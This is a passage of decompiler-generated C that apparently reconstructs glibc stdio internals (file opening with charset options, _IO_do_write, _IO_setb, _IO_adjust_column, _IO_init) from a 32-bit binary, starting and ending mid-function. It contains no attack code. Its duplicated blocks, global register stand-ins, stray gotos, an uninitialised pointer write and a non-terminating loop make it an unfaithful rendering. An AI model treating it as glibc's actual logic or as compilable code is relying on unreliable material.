result2 = _IO_file_open((struct struct_124 *)a1, (char *)a2, (int32_t *)v49, (struct struct_124 *)438, v13, &v38->e0);
if (result2 == 0) {
// 0x80b06b0
// branch -> 0x80b062b
// 0x80b062b
g98 = (int32_t)(struct struct_124 *)438;
g101 = (int32_t)v13;
g102 = (int32_t)v38;
return 0;
}
// 0x80b06d6
v35 = g98 + 1;
g95 = v35;
str = (char *)v35;
substr_pos = strstr(str, ",ccs=");
g98 = v35;
v28 = (struct struct_125 *)",ccs=";
g101 = (int32_t)v28;
v14 = (int32_t)substr_pos;
if (substr_pos != NULL) {
// 0x80b06f0
v36 = v14 + 5;
g102 = v36;
v22 = (int32_t)strchrnul((char *)v36, 44) - v14;
*(char *)mempcpy(v21, (int32_t *)g102, v22 - 5) = 0;
v40 = v1;
v39 = (int32_t)v40;
v47 = v22 + 16 & -4 & -256 | (int32_t)v40->e0[0];
v17 = v47;
if (v47 == 0) {
// 0x80b0732
g96 = v39;
*(char *)v39 = 47;
v10 = g96 + 1;
g96 = v10;
v25 = 1;
v37 = v25 - 1;
g95 = v37;
// branch -> 0x80b073c
while (v37 < 0 ^ (v25 & -v25) < 0 || v37 == 0) {
// 0x80b073c
*(char *)v10 = 47;
v10 = g96 + 1;
g96 = v10;
v25++;
v37 = v25 - 1;
g95 = v37;
// continue -> 0x80b073c
}
// 0x80b0747
*(char *)v10 = 0;
v42 = v1;
v41 = (int32_t)v42;
g97 = v41;
if (*(char *)(v41 + 2) == 0) {
// 0x80b0753
g96 = v41;
v26 = g102;
v43 = *(int32_t *)(4 * (int32_t)*(char *)v26 + g25);
g95 = v43;
g102 = v26 + 1;
v42->e0[v41] = v43;
v11 = g96 + 1;
g96 = v11;
v44 = v1;
// branch -> 0x80b0758
while (g95 != 0) {
// 0x80b0758
v26 = g102;
v43 = *(int32_t *)(4 * (int32_t)*(char *)v26 + g25);
g95 = v43;
g102 = v26 + 1;
v44->e0[v11] = v43;
v11 = g96 + 1;
g96 = v11;
v44 = v1;
// continue -> 0x80b0758
}
// 0x80b076c
g97 = (int32_t)v44;
// branch -> 0x80b076f
}
// 0x80b076f
if (__wcsmbs_named_conv(v2, (int32_t)v21) != 0) {
// 0x80b077f
return _IO_file_close_it((struct struct_125 *)a1);
}
// 0x80b0853
v15 = (int32_t *)(v7 + 88);
v45 = *v15;
g95 = v45;
*(int32_t *)v45 = *(int32_t *)(v45 + 4);
v31 = g95;
*(int32_t *)(v31 + 16) = *(int32_t *)(v31 + 12);
*(int32_t *)(g95 + 44) = 0;
*(int32_t *)(g95 + 48) = 0;
result = *v15;
*(int32_t *)(result + 52) = 0;
*(int32_t *)(result + 56) = 0;
v32 = v7;
v12 = *(int32_t *)(v32 + 88) + 60;
g98 = v12;
*(int32_t *)(v32 + 84) = v12;
v33 = g99;
*(int32_t *)(v33 - 4) = 120;
*(int32_t *)(v33 - 8) = 0x8132aa0;
*(int32_t *)(v33 - 12) = g98;
v48 = v33 - 16;
*(int32_t *)v48 = 0x80b089c;
g99 = v48;
memcpy(a1, a2, (int32_t)a3);
return result;
}
// 0x80b07fd
g101 = v39;
g96 = v39;
int32_t v55 = v47; // 0x80b0820
v27 = v39;
v50 = 0;
// branch -> 0x80b0838
while (true) {
// 0x80b0838
v19 = 0x1000000 * v55;
v20 = v19 / 0x1000000;
g98 = v20;
v29 = g24;
g95 = v29;
if (*(char *)(v19 / 0x800000 + v29) == 8) {
lab_0x72f23e0:
// 0x80b080c
if (v19 != 0x5f000000) {
// 0x80b0811
if (v19 != 0x2d000000) {
// 0x80b0816
if (v19 != 0x2e000000) {
// 0x80b081b
if (v19 != 0x2c000000) {
// 0x80b0820
int32_t v56; // 0x80b082c
int32_t v57; // 0x80b082c
if (v19 == 0x2f000000) {
int32_t v58 = v50 + 1; // 0x80b0953
if (v58 != 3) {
// 0x80b0960
*(char *)v27 = 47;
int32_t v59 = g96 + 1; // 0x80b0963
g96 = v59;
// branch -> 0x80b082c
// 0x80b082c
v56 = g101 + 1;
v57 = v17 & -256 | (int32_t)*(char *)v56;
v17 = v57;
g101 = v56;
if (v57 == 0) {
// break -> 0x80b0913
break;
}
v55 = v57;
v27 = v59;
v50 = v58;
// continue -> 0x80b0838
continue;
}
} else {
lab_0x72e6450:
// 0x80b082c
v56 = g101 + 1;
v57 = v17 & -256 | (int32_t)*(char *)v56;
v17 = v57;
g101 = v56;
if (v57 == 0) {
// break -> 0x80b0913
break;
}
v55 = v57;
// continue -> 0x80b0838
continue;
}
// 0x80b0747
*(char *)v27 = 0;
v42 = v1;
v41 = (int32_t)v42;
g97 = v41;
if (*(char *)(v41 + 2) == 0) {
// 0x80b0753
g96 = v41;
v26 = g102;
v43 = *(int32_t *)(4 * (int32_t)*(char *)v26 + g25);
g95 = v43;
g102 = v26 + 1;
v42->e0[v41] = v43;
v11 = g96 + 1;
g96 = v11;
v44 = v1;
// branch -> 0x80b0758
while (g95 != 0) {
// 0x80b0758
v26 = g102;
v43 = *(int32_t *)(4 * (int32_t)*(char *)v26 + g25);
g95 = v43;
g102 = v26 + 1;
v44->e0[v11] = v43;
v11 = g96 + 1;
g96 = v11;
v44 = v1;
// continue -> 0x80b0758
}
// 0x80b076c
g97 = (int32_t)v44;
// branch -> 0x80b076f
}
// 0x80b076f
if (__wcsmbs_named_conv(v2, (int32_t)v21) != 0) {
// 0x80b077f
return _IO_file_close_it((struct struct_125 *)a1);
}
// 0x80b0853
v15 = (int32_t *)(v7 + 88);
v45 = *v15;
g95 = v45;
*(int32_t *)v45 = *(int32_t *)(v45 + 4);
v31 = g95;
*(int32_t *)(v31 + 16) = *(int32_t *)(v31 + 12);
*(int32_t *)(g95 + 44) = 0;
*(int32_t *)(g95 + 48) = 0;
result = *v15;
*(int32_t *)(result + 52) = 0;
*(int32_t *)(result + 56) = 0;
v32 = v7;
v12 = *(int32_t *)(v32 + 88) + 60;
g98 = v12;
*(int32_t *)(v32 + 84) = v12;
v33 = g99;
*(int32_t *)(v33 - 4) = 120;
*(int32_t *)(v33 - 8) = 0x8132aa0;
*(int32_t *)(v33 - 12) = g98;
v48 = v33 - 16;
*(int32_t *)v48 = 0x80b089c;
g99 = v48;
memcpy(a1, a2, (int32_t)a3);
return result;
}
}
}
}
}
lab_0x10d22580:;
int32_t v60 = *(int32_t *)(g25 + 4 * v20); // 0x80b084b
g95 = v60;
*(char *)v27 = (char)v60;
int32_t v61 = g96 + 1; // 0x80b0850
g96 = v61;
v27 = v61;
// branch -> 0x80b082c
goto lab_0x72e6450;
}
// 0x80b0747
int32_t v62; // 0x80b0747
*(char *)v62 = 0;
v42 = v1;
v41 = (int32_t)v42;
g97 = v41;
if (*(char *)(v41 + 2) == 0) {
// 0x80b0753
g96 = v41;
v26 = g102;
v43 = *(int32_t *)(4 * (int32_t)*(char *)v26 + g25);
g95 = v43;
g102 = v26 + 1;
v42->e0[v41] = v43;
v11 = g96 + 1;
g96 = v11;
v44 = v1;
// branch -> 0x80b0758
while (g95 != 0) {
// 0x80b0758
v26 = g102;
v43 = *(int32_t *)(4 * (int32_t)*(char *)v26 + g25);
g95 = v43;
g102 = v26 + 1;
v44->e0[v11] = v43;
v11 = g96 + 1;
g96 = v11;
v44 = v1;
// continue -> 0x80b0758
}
// 0x80b076c
g97 = (int32_t)v44;
// branch -> 0x80b076f
}
// 0x80b076f
if (__wcsmbs_named_conv(v2, (int32_t)v21) != 0) {
// 0x80b077f
return _IO_file_close_it((struct struct_125 *)a1);
}
// 0x80b0853
v15 = (int32_t *)(v7 + 88);
v45 = *v15;
g95 = v45;
*(int32_t *)v45 = *(int32_t *)(v45 + 4);
v31 = g95;
*(int32_t *)(v31 + 16) = *(int32_t *)(v31 + 12);
*(int32_t *)(g95 + 44) = 0;
*(int32_t *)(g95 + 48) = 0;
result = *v15;
*(int32_t *)(result + 52) = 0;
*(int32_t *)(result + 56) = 0;
v32 = v7;
v12 = *(int32_t *)(v32 + 88) + 60;
g98 = v12;
*(int32_t *)(v32 + 84) = v12;
v33 = g99;
*(int32_t *)(v33 - 4) = 120;
*(int32_t *)(v33 - 8) = 0x8132aa0;
*(int32_t *)(v33 - 12) = g98;
v48 = v33 - 16;
*(int32_t *)v48 = 0x80b089c;
g99 = v48;
memcpy(a1, a2, (int32_t)a3);
return result;
}
// 0x80b062b
g98 = (int32_t)(struct struct_124 *)0x80b06e4;
g101 = (int32_t)str;
g102 = (int32_t)v28;
return result2;
}
// 0x80b07a8
if (v46 == 109) {
// 0x80b0926
*v16 = *v16 | 1;
v53 = v9;
v54 = g96;
v52 = v24;
// branch -> 0x80b06a8
} else {
// 0x80b07b0
if (v46 == 120) {
// 0x80b07b8
g98 = v9;
v53 = v9;
v54 = v30;
v52 = v24 | 128;
// branch -> 0x80b06a8
} else {
v53 = v9;
v54 = v30;
v52 = v24;
}
}
lab_0x30f7f960:;
int32_t v63 = v54 + 5; // 0x80b06a8
if (v53 == v63) {
// break -> 0x80b06b0
break;
}
v30 = v54;
v51 = v53;
v34 = v63;
v24 = v52;
// continue -> 0x80b0680
continue;
}
// 0x80b06b0
v38 = a4;
v13 = (char *)g102;
v49 = v18 | v24;
g101 = v49;
result2 = _IO_file_open((struct struct_124 *)a1, (char *)a2, (int32_t *)v49, (struct struct_124 *)438, v13, &v38->e0);
if (result2 == 0) {
// 0x80b06b0
// branch -> 0x80b062b
// 0x80b062b
g98 = (int32_t)(struct struct_124 *)438;
g101 = (int32_t)v13;
g102 = (int32_t)v38;
return 0;
}
// 0x80b06d6
v35 = g98 + 1;
g95 = v35;
str = (char *)v35;
substr_pos = strstr(str, ",ccs=");
g98 = v35;
v28 = (struct struct_125 *)",ccs=";
g101 = (int32_t)v28;
v14 = (int32_t)substr_pos;
if (substr_pos != NULL) {
// 0x80b06f0
v36 = v14 + 5;
g102 = v36;
v22 = (int32_t)strchrnul((char *)v36, 44) - v14;
*(char *)mempcpy(v21, (int32_t *)g102, v22 - 5) = 0;
v40 = v1;
v39 = (int32_t)v40;
v47 = v22 + 16 & -4 & -256 | (int32_t)v40->e0[0];
v17 = v47;
if (v47 == 0) {
// 0x80b0732
g96 = v39;
*(char *)v39 = 47;
v10 = g96 + 1;
g96 = v10;
v25 = 1;
v37 = v25 - 1;
g95 = v37;
// branch -> 0x80b073c
while (v37 < 0 ^ (v25 & -v25) < 0 || v37 == 0) {
// 0x80b073c
*(char *)v10 = 47;
v10 = g96 + 1;
g96 = v10;
v25++;
v37 = v25 - 1;
g95 = v37;
// continue -> 0x80b073c
}
// 0x80b0747
*(char *)v10 = 0;
v42 = v1;
v41 = (int32_t)v42;
g97 = v41;
if (*(char *)(v41 + 2) == 0) {
// 0x80b0753
g96 = v41;
v26 = g102;
v43 = *(int32_t *)(4 * (int32_t)*(char *)v26 + g25);
g95 = v43;
g102 = v26 + 1;
v42->e0[v41] = v43;
v11 = g96 + 1;
g96 = v11;
v44 = v1;
// branch -> 0x80b0758
while (g95 != 0) {
// 0x80b0758
v26 = g102;
v43 = *(int32_t *)(4 * (int32_t)*(char *)v26 + g25);
g95 = v43;
g102 = v26 + 1;
v44->e0[v11] = v43;
v11 = g96 + 1;
g96 = v11;
v44 = v1;
// continue -> 0x80b0758
}
// 0x80b076c
g97 = (int32_t)v44;
// branch -> 0x80b076f
}
// 0x80b076f
if (__wcsmbs_named_conv(v2, (int32_t)v21) != 0) {
// 0x80b077f
return _IO_file_close_it((struct struct_125 *)a1);
}
// 0x80b0853
v15 = (int32_t *)(v7 + 88);
v45 = *v15;
g95 = v45;
*(int32_t *)v45 = *(int32_t *)(v45 + 4);
v31 = g95;
*(int32_t *)(v31 + 16) = *(int32_t *)(v31 + 12);
*(int32_t *)(g95 + 44) = 0;
*(int32_t *)(g95 + 48) = 0;
result = *v15;
*(int32_t *)(result + 52) = 0;
*(int32_t *)(result + 56) = 0;
v32 = v7;
v12 = *(int32_t *)(v32 + 88) + 60;
g98 = v12;
*(int32_t *)(v32 + 84) = v12;
v33 = g99;
*(int32_t *)(v33 - 4) = 120;
*(int32_t *)(v33 - 8) = 0x8132aa0;
*(int32_t *)(v33 - 12) = g98;
v48 = v33 - 16;
*(int32_t *)v48 = 0x80b089c;
g99 = v48;
memcpy(a1, a2, (int32_t)a3);
return result;
}
// 0x80b07fd
g101 = v39;
g96 = v39;
v27 = v39;
v50 = 0;
// branch -> 0x80b0838
while (true) {
// 0x80b0838
v19 = 0x1000000 * v47;
v20 = v19 / 0x1000000;
g98 = v20;
v29 = g24;
g95 = v29;
if (*(char *)(v19 / 0x800000 + v29) == 8) {
goto lab_0x72f23e0;
}
goto lab_0x10d22580;
}
}
// 0x80b062b
g98 = (int32_t)(struct struct_124 *)0x80b06e4;
g101 = (int32_t)str;
g102 = (int32_t)v28;
return result2;
}
}
// 0x80b067c
g98 = v6;
v16 = (int32_t *)(v7 + 60);
v30 = v6;
v24 = v23;
// branch -> 0x80b0680
while (true) {
// 0x80b0680
v9 = v6 + 1;
v46 = (int32_t)*(char *)v9 | v34 & -256;
if (v46 != 99) {
goto lab_0x277b34b0;
}
// 0x80b07c8
*v16 = *v16 | 2;
// branch -> 0x80b06b0
// 0x80b06b0
v38 = a4;
v13 = (char *)g102;
v49 = v18 | v24;
g101 = v49;
result2 = _IO_file_open((struct struct_124 *)a1, (char *)a2, (int32_t *)v49, (struct struct_124 *)438, v13, &v38->e0);
if (result2 == 0) {
// 0x80b06b0
// branch -> 0x80b062b
// 0x80b062b
g98 = (int32_t)(struct struct_124 *)438;
g101 = (int32_t)v13;
g102 = (int32_t)v38;
return 0;
}
// 0x80b06d6
v35 = g98 + 1;
g95 = v35;
str = (char *)v35;
substr_pos = strstr(str, ",ccs=");
g98 = v35;
v28 = (struct struct_125 *)",ccs=";
g101 = (int32_t)v28;
v14 = (int32_t)substr_pos;
if (substr_pos != NULL) {
// 0x80b06f0
v36 = v14 + 5;
g102 = v36;
v22 = (int32_t)strchrnul((char *)v36, 44) - v14;
*(char *)mempcpy(v21, (int32_t *)g102, v22 - 5) = 0;
v40 = v1;
v39 = (int32_t)v40;
v47 = v22 + 16 & -4 & -256 | (int32_t)v40->e0[0];
v17 = v47;
if (v47 == 0) {
// 0x80b0732
g96 = v39;
*(char *)v39 = 47;
v10 = g96 + 1;
g96 = v10;
v25 = 1;
v37 = v25 - 1;
g95 = v37;
// branch -> 0x80b073c
while (v37 < 0 ^ (v25 & -v25) < 0 || v37 == 0) {
// 0x80b073c
*(char *)v10 = 47;
v10 = g96 + 1;
g96 = v10;
v25++;
v37 = v25 - 1;
g95 = v37;
// continue -> 0x80b073c
}
// 0x80b0747
*(char *)v10 = 0;
v42 = v1;
v41 = (int32_t)v42;
g97 = v41;
if (*(char *)(v41 + 2) == 0) {
// 0x80b0753
g96 = v41;
v26 = g102;
v43 = *(int32_t *)(4 * (int32_t)*(char *)v26 + g25);
g95 = v43;
g102 = v26 + 1;
v42->e0[v41] = v43;
v11 = g96 + 1;
g96 = v11;
v44 = v1;
// branch -> 0x80b0758
while (g95 != 0) {
// 0x80b0758
v26 = g102;
v43 = *(int32_t *)(4 * (int32_t)*(char *)v26 + g25);
g95 = v43;
g102 = v26 + 1;
v44->e0[v11] = v43;
v11 = g96 + 1;
g96 = v11;
v44 = v1;
// continue -> 0x80b0758
}
// 0x80b076c
g97 = (int32_t)v44;
// branch -> 0x80b076f
}
// 0x80b076f
if (__wcsmbs_named_conv(v2, (int32_t)v21) != 0) {
// 0x80b077f
return _IO_file_close_it((struct struct_125 *)a1);
}
// 0x80b0853
v15 = (int32_t *)(v7 + 88);
v45 = *v15;
g95 = v45;
*(int32_t *)v45 = *(int32_t *)(v45 + 4);
v31 = g95;
*(int32_t *)(v31 + 16) = *(int32_t *)(v31 + 12);
*(int32_t *)(g95 + 44) = 0;
*(int32_t *)(g95 + 48) = 0;
result = *v15;
*(int32_t *)(result + 52) = 0;
*(int32_t *)(result + 56) = 0;
v32 = v7;
v12 = *(int32_t *)(v32 + 88) + 60;
g98 = v12;
*(int32_t *)(v32 + 84) = v12;
v33 = g99;
*(int32_t *)(v33 - 4) = 120;
*(int32_t *)(v33 - 8) = 0x8132aa0;
*(int32_t *)(v33 - 12) = g98;
v48 = v33 - 16;
*(int32_t *)v48 = 0x80b089c;
g99 = v48;
memcpy(a1, a2, (int32_t)a3);
return result;
}
// 0x80b07fd
g101 = v39;
g96 = v39;
v27 = v39;
v50 = 0;
// branch -> 0x80b0838
while (true) {
// 0x80b0838
v19 = 0x1000000 * v47;
v20 = v19 / 0x1000000;
g98 = v20;
v29 = g24;
g95 = v29;
if (*(char *)(v19 / 0x800000 + v29) == 8) {
goto lab_0x72f23e0;
}
goto lab_0x10d22580;
}
}
// 0x80b062b
g98 = (int32_t)(struct struct_124 *)0x80b06e4;
g101 = (int32_t)str;
g102 = (int32_t)v28;
return result2;
}
}
// 0x80b062b
g98 = (int32_t)(struct struct_124 *)v5;
g101 = (int32_t)(char *)v4;
g102 = (int32_t)(struct struct_125 *)v3;
return 0;
}
// Address range: 0x80b0974 - 0x80b0a54
int32_t _IO_do_write(int32_t * a1, int32_t * a2, int32_t * a3) {
int32_t v1 = g100; // 0x80b0974
int32_t v2 = g102; // 0x80b0977
int32_t * v3 = (int32_t *)g101; // 0x80b0978_0
int32_t v4 = g98; // 0x80b0979
int32_t v5 = (int32_t)a1; // 0x80b097a
g98 = v5;
g102 = (int32_t)a3;
if (a3 == NULL) {
// 0x80b09ec
g98 = v4;
g101 = (int32_t)v3;
g102 = v2;
g100 = v1;
return 0;
}
char v6 = *(char *)(v5 + 1); // 0x80b0984
g1 = false;
g103 = (v6 & 16) == 0;
int32_t v7; // 0x80b09a7
int32_t v8; // 0x80b0a3f2
int32_t * v9; // 0x80b0a3f_76
int32_t v10; // 0x80b0a3f10
int32_t v11; // 0x80b0a3f11
int32_t * v12; // 0x80b0a3c_0
int32_t v13;
int32_t v14;
int32_t v15; // 0x80b0a0b
int32_t v16; // 0x80b0a35
int32_t v17; // 0x80b09aa
int32_t v18; // 0x80b099c
int32_t v19; // 0x80b09ac
int32_t v20; // 0x80b09bc
int32_t v21; // 0x80b09ce
int32_t v22; // 0x80b099c
int32_t v23; // 0x80b0a09
int32_t v24; // 0x80b09bc
int32_t v25; // 0x80b09ac
if (v6 == 16) {
uint32_t v26 = *(int32_t *)(v5 + 8); // 0x80b098e
g96 = v26;
uint32_t v27 = *(int32_t *)(v5 + 16); // 0x80b0991
g97 = v27;
g1 = v27 > v26;
g103 = v27 == v26;
if (v27 != v26) {
int32_t v28 = *(int32_t *)(v5 + 148); // 0x80b0a2d
g95 = v28;
v16 = v27 - v26;
g97 = v16;
int32_t v29 = v16 / -0x80000000; // 0x80b0a39
g103 = v16 != -0x80000000;
g1 = (v16 & 0x40000000) != 0;
g96 = v29;
v12 = (int32_t *)v29;
((int32_t (*)(int32_t, int32_t, int32_t, int32_t))*(int32_t *)(v28 + 64))(v5, v16, v29, 1);
int32_t v30 = g97; // 0x80b0a42
g96 = v30;
int32_t v31 = g95; // 0x80b0a44
g97 = v31;
g1 = false;
g103 = (v31 & v30) == -1;
if ((v31 & v30) == -1) {
// 0x80b09df
g98 = v16;
g101 = (int32_t)v12;
g102 = 1;
g100 = v1;
return -1;
}
// 0x80b0a4e
*(int32_t *)(g98 + 76) = v31;
*(int32_t *)(g98 + 80) = g96;
v11 = 1;
// branch -> 0x80b099c
} else {
v11 = v2;
v12 = v3;
v16 = v4;
}
// 0x80b099c
v18 = g98;
v22 = *(int32_t *)(v18 + 148);
g95 = v22;
v7 = (int32_t)a2;
((int32_t (*)(int32_t, int32_t, int32_t))*(int32_t *)(v22 + 60))(v18, v7, g102);
v17 = g95;
v14 = v17;
v19 = g98;
v25 = (int32_t)*(int16_t *)(v19 + 68);
v20 = v19;
v10 = v11;
v9 = v12;
v8 = v16;
if ((v25 || v17 & -0x10000) != 0) {
// 0x80b09b8
if (v17 != 0) {
// 0x80b0a02
v23 = v25 - 1;
v15 = _IO_adjust_column(v23, v7, v17, v1);
*(int16_t *)(g98 + 68) = (int16_t)(v15 + 1);
v20 = g98;
v10 = v17;
v9 = a2;
v8 = v23;
// branch -> 0x80b09bc
} else {
v20 = v19;
v10 = v11;
v9 = v12;
v8 = v16;
}
}
// 0x80b09bc
v24 = *(int32_t *)(v20 + 28);
v13 = v24;
*(int32_t *)(v20 + 12) = v24;
*(int32_t *)(g98 + 4) = v13;
*(int32_t *)(g98 + 8) = v13;
*(int32_t *)(g98 + 20) = v13;
*(int32_t *)(g98 + 16) = v13;
v21 = g98;
if (*(int32_t *)(v21 + 92) < 1) {
// 0x80b09f8
if (*(int32_t *)v21 != 514) {
// 0x80b09f8
// branch -> 0x80b09d8
// 0x80b09d8
*(int32_t *)(v21 + 24) = v13;
if (g102 == v14) {
// 0x80b09ec
g98 = v8;
g101 = (int32_t)v9;
g102 = v10;
g100 = v1;
return 0;
}
// 0x80b09df
g98 = v8;
g101 = (int32_t)v9;
g102 = v10;
g100 = v1;
return -1;
}
}
// 0x80b09d5
// branch -> 0x80b09d8
// 0x80b09d8
*(int32_t *)(v21 + 24) = *(int32_t *)(v21 + 32);
if (g102 == v14) {
// 0x80b09ec
g98 = v8;
g101 = (int32_t)v9;
g102 = v10;
g100 = v1;
return 0;
}
// 0x80b09df
g98 = v8;
g101 = (int32_t)v9;
g102 = v10;
g100 = v1;
return -1;
}
// 0x80b0a1a
*(int32_t *)(v5 + 76) = -1;
*(int32_t *)(g98 + 80) = -1;
v11 = v2;
v12 = v3;
v16 = v4;
// branch -> 0x80b099c
// 0x80b099c
v18 = g98;
v22 = *(int32_t *)(v18 + 148);
g95 = v22;
v7 = (int32_t)a2;
((int32_t (*)(int32_t, int32_t, int32_t))*(int32_t *)(v22 + 60))(v18, v7, g102);
v17 = g95;
v14 = v17;
v19 = g98;
v25 = (int32_t)*(int16_t *)(v19 + 68);
v20 = v19;
v10 = v11;
v9 = v12;
v8 = v16;
if ((v25 || v17 & -0x10000) != 0) {
// 0x80b09b8
if (v17 != 0) {
// 0x80b0a02
v23 = v25 - 1;
v15 = _IO_adjust_column(v23, v7, v17, v1);
*(int16_t *)(g98 + 68) = (int16_t)(v15 + 1);
v20 = g98;
v10 = v17;
v9 = a2;
v8 = v23;
// branch -> 0x80b09bc
} else {
v20 = v19;
v10 = v11;
v9 = v12;
v8 = v16;
}
// 0x80b09bc
v24 = *(int32_t *)(v20 + 28);
v13 = v24;
*(int32_t *)(v20 + 12) = v24;
*(int32_t *)(g98 + 4) = v13;
*(int32_t *)(g98 + 8) = v13;
*(int32_t *)(g98 + 20) = v13;
*(int32_t *)(g98 + 16) = v13;
v21 = g98;
if (*(int32_t *)(v21 + 92) < 1) {
// 0x80b09f8
if (*(int32_t *)v21 != 514) {
// 0x80b09f8
// branch -> 0x80b09d8
// 0x80b09d8
*(int32_t *)(v21 + 24) = v13;
if (g102 == v14) {
// 0x80b09ec
g98 = v8;
g101 = (int32_t)v9;
g102 = v10;
g100 = v1;
return 0;
}
// 0x80b09df
g98 = v8;
g101 = (int32_t)v9;
g102 = v10;
g100 = v1;
return -1;
}
}
// 0x80b09d5
// branch -> 0x80b09d8
// 0x80b09d8
*(int32_t *)(v21 + 24) = *(int32_t *)(v21 + 32);
if (g102 == v14) {
// 0x80b09ec
g98 = v8;
g101 = (int32_t)v9;
g102 = v10;
g100 = v1;
return 0;
}
// 0x80b09df
g98 = v8;
g101 = (int32_t)v9;
g102 = v10;
g100 = v1;
return -1;
}
// 0x80b09bc
v24 = *(int32_t *)(v20 + 28);
v13 = v24;
*(int32_t *)(v20 + 12) = v24;
*(int32_t *)(g98 + 4) = v13;
*(int32_t *)(g98 + 8) = v13;
*(int32_t *)(g98 + 20) = v13;
*(int32_t *)(g98 + 16) = v13;
v21 = g98;
if (*(int32_t *)(v21 + 92) >= 1) {
// 0x80b09d5
// branch -> 0x80b09d8
// 0x80b09d8
*(int32_t *)(v21 + 24) = *(int32_t *)(v21 + 32);
if (g102 == v14) {
// 0x80b09ec
g98 = v8;
g101 = (int32_t)v9;
g102 = v10;
g100 = v1;
return 0;
}
// 0x80b09df
g98 = v8;
g101 = (int32_t)v9;
g102 = v10;
g100 = v1;
return -1;
}
// 0x80b09f8
if (*(int32_t *)v21 != 514) {
// 0x80b09f8
// branch -> 0x80b09d8
// 0x80b09d8
*(int32_t *)(v21 + 24) = v13;
if (g102 == v14) {
// 0x80b09ec
g98 = v8;
g101 = (int32_t)v9;
g102 = v10;
g100 = v1;
return 0;
}
// 0x80b09df
g98 = v8;
g101 = (int32_t)v9;
g102 = v10;
g100 = v1;
return -1;
}
// 0x80b09d5
// branch -> 0x80b09d8
// 0x80b09d8
*(int32_t *)(v21 + 24) = *(int32_t *)(v21 + 32);
if (g102 == v14) {
// 0x80b09ec
g98 = v8;
g101 = (int32_t)v9;
g102 = v10;
g100 = v1;
return 0;
}
// 0x80b09df
g98 = v8;
g101 = (int32_t)v9;
g102 = v10;
g100 = v1;
return -1;
}
// Address range: 0x80b0af4 - 0x80b0b25
int32_t _IO_un_link(char * a1, int32_t a2) {
// 0x80b0af4
g101 = (int32_t)a1;
g95 = 0;
g102 = 0;
return 0;
}
// Address range: 0x80b0c84 - 0x80b0cba
int32_t _IO_link_in(int32_t * a1, int32_t a2) {
// 0x80b0c84
g101 = (int32_t)a1;
*a1 = *a1 | 128;
g95 = 0;
g102 = 0;
return 0;
}
// Address range: 0x80b0f14 - 0x80b0f72
int32_t _IO_setb(struct struct_128 * a1, int32_t * a2, int32_t * a3, struct struct_128 * a4, int32_t * a5) {
int32_t v1 = (int32_t)a1; // 0x80b0f18
int32_t v2 = *(int32_t *)(v1 + 28); // 0x80b0f1b
g96 = v2;
int32_t v3 = a1->e0; // 0x80b0f70
int32_t v4 = v3;
if (v2 != 0) {
// 0x80b0f22
if (v3 == 1) {
// 0x80b0f54
munmap((int32_t *)v2, 4095 - v2 + *(int32_t *)(v1 + 32) & -0x1000);
v4 = *(int32_t *)v1;
// branch -> 0x80b0f29
}
}
// 0x80b0f29
*(int32_t *)(v1 + 28) = (int32_t)a2;
int32_t v5 = (int32_t)a3; // 0x80b0f2f
g95 = v5;
*(int32_t *)(v1 + 32) = v5;
int32_t result = (int32_t)a4; // 0x80b0f38
if (a4 == NULL) {
int32_t v6 = v4 | 1; // 0x80b0f48
g97 = v6;
*(int32_t *)v1 = v6;
return result;
}
int32_t v7 = v4 & -2; // 0x80b0f3c
g97 = v7;
*(int32_t *)v1 = v7;
return result;
}
// Address range: 0x80b1224 - 0x80b1257
int32_t _IO_adjust_column(int32_t a1, uint32_t a2, int32_t a3, int32_t a4) {
int32_t v1 = g100; // 0x80b1224
int32_t v2 = g98; // 0x80b1227
g96 = a2;
uint32_t v3 = a3 + a2; // 0x80b122e
if (v3 <= a2) {
// 0x80b1250
g95 = a3;
g98 = v1;
g100 = v1;
return a3 + a1;
}
int32_t v4 = v3 - 1; // 0x80b1235
g97 = v4;
int32_t v5; // 0x80b124a
if (*(char *)v4 == 10) {
// 0x80b124a
v5 = v3 - v4;
g95 = v5;
g98 = v2;
g100 = v1;
return v5 - 1;
}
int32_t v6; // 0x80b1244
while (true) {
// 0x80b1240
if (v4 > a2) {
// 0x80b1244
v6 = v4 - 1;
g97 = v6;
if (*(char *)v6 == 10) {
// break -> 0x80b124a
break;
}
v4 = v6;
// continue -> 0x80b1240
continue;
}
}
// 0x80b124a
v5 = v3 - v6;
g95 = v5;
g98 = v2;
g100 = v1;
return v5 - 1;
}
// Address range: 0x80b1bf4 - 0x80b1cef
int32_t _IO_no_init(struct struct_131 * a1, int32_t a2, int32_t a3, struct struct_130 * a4, struct struct_120 * a5) {
struct struct_131 * v1 = a1;
int32_t v2 = (int32_t)a4;
a1->e0 = a2 | -0x4530000;
a1->e15 = 0;
a1->e7 = 0;
a1->e8 = 0;
a1->e3 = 0;
a1->e1 = 0;
a1->e2 = 0;
a1->e4 = 0;
a1->e5 = 0;
a1->e6 = 0;
a1->e13 = 0;
a1->e9 = 0;
a1->e10 = 0;
a1->e11 = 0;
a1->e12 = 0;
a1->e17 = 0;
int32_t * v3 = a1->e18; // 0x80b1c73
if (v3 != NULL) {
// 0x80b1c7a
v3[2] = 0;
v3[1] = 0;
*v3 = 0;
a1 = v1;
// branch -> 0x80b1c8e
}
// 0x80b1c8e
a1->e21 = a3;
if (a3 >= 0) {
// 0x80b1c95
v1->e20 = (int32_t *)v2;
a4->e6 = 0;
a4->e7 = 0;
a4->e2 = 0;
*(int32_t *)v2 = 0;
a4->e1 = 0;
a4->e3 = 0;
a4->e4 = 0;
a4->e5 = 0;
a4->e8 = 0;
a4->e9 = 0;
a4->e10 = 0;
a4->e12 = &a5->e0;
// branch -> 0x80b1ced
} else {
a5 = (struct struct_120 *)v3;
}
// 0x80b1ced
return (int32_t)a5;
}
// Address range: 0x80b1cf0 - 0x80b1d8b
int32_t _IO_init(struct struct_133 * a1, int32_t a2) {
// 0x80b1cf0
a1->e0 = a2 | -0x4530000;
a1->e15 = 0;
a1->e7 = 0;
a1->e8 = 0;
a1->e3 = 0;
a1->e1 = 0;
a1->e2 = 0;
a1->e4 = 0;
a1->e5 = 0;
a1->e6 = 0;
a1->e13 = 0;
a1->e9 = 0;
a1->e10 = 0;
a1->e11 = 0;
a1->e12 = 0;
a1->e17 = 0;
int32_t * v1 = a1->e18; // 0x80b1d68
if (v1 != NULL) {
// 0x80b1d6f
v1[2] = 0;
v1[1] = 0;
*v1 = 0;
// branch -> 0x80b1d83
}
// 0x80b1d83
a1->e20 = -1;
return (int32_t)v1;
}
// Address range: 0x80b1d8c - 0x80b1e11
int32_t _IO_unsave_markers(struct struct_134 * a1) {
int32_t * v1 = a1->e8; // 0x80b1d93
if (v1 != NULL) {
